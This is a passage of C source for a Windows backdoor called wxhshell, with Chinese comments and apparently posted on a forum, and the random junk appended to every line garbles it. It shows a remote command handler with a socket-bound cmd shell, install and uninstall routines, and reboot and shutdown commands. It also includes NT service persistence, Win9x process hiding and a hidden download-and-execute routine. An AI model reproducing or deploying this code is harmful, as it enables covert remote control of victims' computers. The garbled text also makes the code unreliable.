    switch(cmd[0]) { *#U+qgA;`  
  _c(4o:  
  // 帮助 n`7f"'/:  
  case '?': { PA;6$vqX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^_+XDO  
    break; B}?IEpYp  
  } NaUr!s  
  // 安装 <X7\z  
  case 'i': { d3Di/Iej   
    if(Install()) )U t5+-UK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T Eu'*>g  
    else G%l u28}D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = duks\)O  
    break; F'm(8/A$  
    } i{c@S:&@^  
  // 卸载 "hz\Z0zg2  
  case 'r': { \Gp*x\<^Z  
    if(Uninstall()) JC?N_kP%W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &K+0xnUH  
    else RD,5AShP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |`d0^(X  
    break; A Io|TD5{~  
    } '_P\#7$!MV  
  // 显示 wxhshell 所在路径 ,zTb<g  
  case 'p': { XL}"1lE  
    char svExeFile[MAX_PATH]; ?`_jFj+<\S  
    strcpy(svExeFile,"\n\r"); yCz|{=7"j  
      strcat(svExeFile,ExeFile); L5YnG_M&  
        send(wsh,svExeFile,strlen(svExeFile),0); Ucw yxX I  
    break; 7Cqcb>\X  
    } 0u B'g+MU`  
  // 重启 WCJxu}!  
  case 'b': { P$GjF-!:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XM1`x  
    if(Boot(REBOOT)) qO1tj'U<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \00DqL(Oj`  
    else { Z"-L[2E/{!  
    closesocket(wsh); ~V=<3X  
    ExitThread(0); o]n!(f<(*  
    } g| <wyt[  
    break; YGvUwj'2a  
    } FCj{AD  
  // 关机 Q _iO(qu 6  
  case 'd': { ti5HrKIw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \G@wp5  
    if(Boot(SHUTDOWN)) Q^Ql\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  kzmQm  
    else { ">81J5qgd  
    closesocket(wsh); az;Q"V'6  
    ExitThread(0); tvKAIwe  
    } T GB_~Bqe  
    break; T'-FV  
    } "t=hzn"~%  
  // 获取shell /\s}uSW  
  case 's': { SlLw{Yb7\.  
    CmdShell(wsh); LjFqZrH  
    closesocket(wsh); t`'iU$:1f  
    ExitThread(0); 6R;3%-D  
    break; T\s)le  
  } zLw{ {|  
  // 退出 BI?@1q}:  
  case 'x': { zh I#f0c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S8Fmy1#  
    CloseIt(wsh); /c2 'dJ(H  
    break; ~I}9;XT  
    } ?|{XZQ~  
  // 离开 C Wo1.pVw  
  case 'q': { CI:^\-z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o KD/rI  
    closesocket(wsh); m(iR|Zx  
    WSACleanup(); Q:C$&-$  
    exit(1); 98jN)Nl,oD  
    break; xda; K~w  
        } W=B"Q qL  
  } AwUi+|7r])  
  } /.Nov  
,tH5e&=U01  
  // 提示信息 X@)z80  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \<0B1m  
} ;^Sr"v6r>u  
  } (m[bWdANnW  
(UCK;k  
  return; @Y,7'0U  
} sd#|3  
AGP("U'u  
// shell模块句柄 e(F42;$$  
int CmdShell(SOCKET sock) "& Dx=Yf  
{ c)md  
STARTUPINFO si; $/1c= Y@  
ZeroMemory(&si,sizeof(si)); RE$`YCs5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . v@>JZC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8x{B~_~  
PROCESS_INFORMATION ProcessInfo; D<i[LZd  
char cmdline[]="cmd"; q*![AzFh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )QagS.L{z  
  return 0; 6&Juv  
} 5m:i6,4  
L(>=BK*  
// 自身启动模式 +z9@:L  
int StartFromService(void) 1=7jz]t  
{ tGdf/aTjy  
typedef struct ;< )~Y-  
{ j;_c+w!P  
  DWORD ExitStatus; Q zZ;Ob]'  
  DWORD PebBaseAddress; :4S%'d7  
  DWORD AffinityMask; pCpb;<JG  
  DWORD BasePriority; RC|!+ TD  
  ULONG UniqueProcessId; IPSF]"}~  
  ULONG InheritedFromUniqueProcessId; w=h1pwY  
}   PROCESS_BASIC_INFORMATION; f~OU*P>V@  
 8@{OR"Ec  
PROCNTQSIP NtQueryInformationProcess; kPBV6+d~  
3cS2gxF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {j{+0V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )?M9|u  
|sZ!  
  HANDLE             hProcess; Ch()P.n?  
  PROCESS_BASIC_INFORMATION pbi; t%zpNd2lk  
/N>e&e[35\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [+ *$\  
  if(NULL == hInst ) return 0; /WV7gO&L1  
)Dp/('Z2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LLWB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R .[Z]-X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _{vkX<s  
j6~nE'sQ  
  if (!NtQueryInformationProcess) return 0; X7UuwIIP  
;g_> ;tR/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iGDLZE+?  
  if(!hProcess) return 0; {HC@u{K -  
E Uar/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -5>-%13  
GBFw+v/|4  
  CloseHandle(hProcess); 0c.s -  
}),w1/#5u8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9%ii '{  
if(hProcess==NULL) return 0; be5,U\&z  
{u!)y?}I-  
HMODULE hMod; &~UJf4b|A  
char procName[255]; nhSb~QqEh  
unsigned long cbNeeded; )5JU:jNy  
=K&\E2kA4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6qe*@o  
6+V\t+aug  
  CloseHandle(hProcess); w#JJXXQI  
M'`;{^<  
if(strstr(procName,"services")) return 1; // 以服务启动 -S,ln  
[>#*B9  
  return 0; // 注册表启动 ,<<4*  
} p5O",3,A4  
k *R<,  
// 主模块 4ww]9J  
int StartWxhshell(LPSTR lpCmdLine) )5%C3/Dl!  
{ 6*l^1;U  
  SOCKET wsl; 4`Nt{  
BOOL val=TRUE; vvB(r!  
  int port=0; -16K7yk  
  struct sockaddr_in door; 2eeQ@]Wj[Z  
=.|J!x  
  if(wscfg.ws_autoins) Install(); "M|P+A  
obK*rdg ,  
port=atoi(lpCmdLine); } B396X  
T9 <2A1  
if(port<=0) port=wscfg.ws_port; %8aC1x  
nFX_+4V2  
  WSADATA data; |8%m.fY`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wn>edn  
^ yh'lh/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AeIrr*~]B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &)i|$J 2.  
  door.sin_family = AF_INET; &Gm$:T'~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Iud$Lu  
  door.sin_port = htons(port); ?::NO Dg  
IdIrI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #jpoHvt h  
closesocket(wsl); VHOfaCE  
return 1; xRu Fuf8  
} C ]Si|D  
.%'(9E  
  if(listen(wsl,2) == INVALID_SOCKET) { e@@?AB$n(  
closesocket(wsl); A392=:N+Q  
return 1; nI*/Mhx  
} Q@e[5RA +]  
  Wxhshell(wsl); Mcw4!{l`  
  WSACleanup(); c4e_6=Iv  
-K(fh#<6KO  
return 0; IYWjH E+)d  
>Sa*`q3J  
} 1\RGM<q$f  
M:Er_,E  
// 以NT服务方式启动 JO&JP3N1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $&|y<Y=  
{ _u"nvgVz9  
DWORD   status = 0; zeP}tzQO  
  DWORD   specificError = 0xfffffff; M)?dEgU}M  
~mV"i7VX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OE)~yKy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?EMK8;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X.ONa_  
  serviceStatus.dwWin32ExitCode     = 0; 2c<&eX8"  
  serviceStatus.dwServiceSpecificExitCode = 0; $=sXAK9   
  serviceStatus.dwCheckPoint       = 0; :J}t&t  
  serviceStatus.dwWaitHint       = 0; M-NV_W&M  
<1w/hy&mWN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h :Xz UxL\  
  if (hServiceStatusHandle==0) return; 8,?v?uE  
Xf =XBoN|  
status = GetLastError(); H-rWDN#  
  if (status!=NO_ERROR) /Y[~-Y+!,  
{ ^n#1<K[E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]!:oYAm  
    serviceStatus.dwCheckPoint       = 0; qo+N,x9o  
    serviceStatus.dwWaitHint       = 0; &m3.h!dq  
    serviceStatus.dwWin32ExitCode     = status; ;TQf5|R\K  
    serviceStatus.dwServiceSpecificExitCode = specificError; qZ@0]"h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zWw2V}U!  
    return; QYXx:nIrg  
  } I~PDaZP  
{"*VU3%q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "`}~~.q  
  serviceStatus.dwCheckPoint       = 0; ZA~Z1Mro#"  
  serviceStatus.dwWaitHint       = 0; !DjvsG1x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6 y"-I !&  
} nU+tM~C%a  
g}&hl"j  
// 处理NT服务事件,比如:启动、停止 n?#!VN3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z>F^C}8f  
{ Nd:R" p*8  
switch(fdwControl) \u`)kJ5o1  
{ |1Dc!V'?"  
case SERVICE_CONTROL_STOP: +i `*lBup$  
  serviceStatus.dwWin32ExitCode = 0; L~{_!Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LiDvaF:@L!  
  serviceStatus.dwCheckPoint   = 0; e"-X U@`k1  
  serviceStatus.dwWaitHint     = 0; W [[oSqp  
  { "Z,q?Fc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?)RfK|!  
  } LCXO>MXN  
  return; 3zuF{Q2P<  
case SERVICE_CONTROL_PAUSE: @e~]t}fH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g*\/N,"z  
  break; lJykyyCY+  
case SERVICE_CONTROL_CONTINUE: G@!z$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MgnM,95  
  break; I4H`YOD%  
case SERVICE_CONTROL_INTERROGATE: sK$wN4k  
  break; n9LGP2#!  
}; M"=n>;*X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C`oa3B,z  
} ^s7,_!.Pq  
-9P2`XQ^  
// 标准应用程序主函数 |ifHSc.j<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sfp,Lq`  
{ 9z m|Lbj  
[{[N(g&d  
// 获取操作系统版本 BOlAm*tFt  
OsIsNt=GetOsVer(); i< (s}wg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); maMHZ\ Q  
{hSGv   
  // 从命令行安装 /rB{[zk  
  if(strpbrk(lpCmdLine,"iI")) Install(); )!9Ifk0KH  
Tm+;0  
  // 下载执行文件 q)u2Y]  
if(wscfg.ws_downexe) { lYf+V8{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $<@\-vYvr@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]7sx;KFv  
} ,cTgR78'  
ClW'W#*(Y  
if(!OsIsNt) { }6RT,O g  
// 如果时win9x,隐藏进程并且设置为注册表启动 /%x7+Rl\-^  
HideProc(); 1ZJ4*bn  
StartWxhshell(lpCmdLine); ]rd/;kg.S  
} 4C_c\;d  
else _cJ[ FP1  
  if(StartFromService()) 9~AWng  
  // 以服务方式启动 /  YiQ\  
  StartServiceCtrlDispatcher(DispatchTable); _68BP)nz>.  
else 4Wel[]  
  // 普通方式启动 =?@Q -(bp  
  StartWxhshell(lpCmdLine); khd5 Cf[   
'aJgLws*w  
return 0; Lrz3   
}
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只看该作者 1 发表于: 2006-10-10
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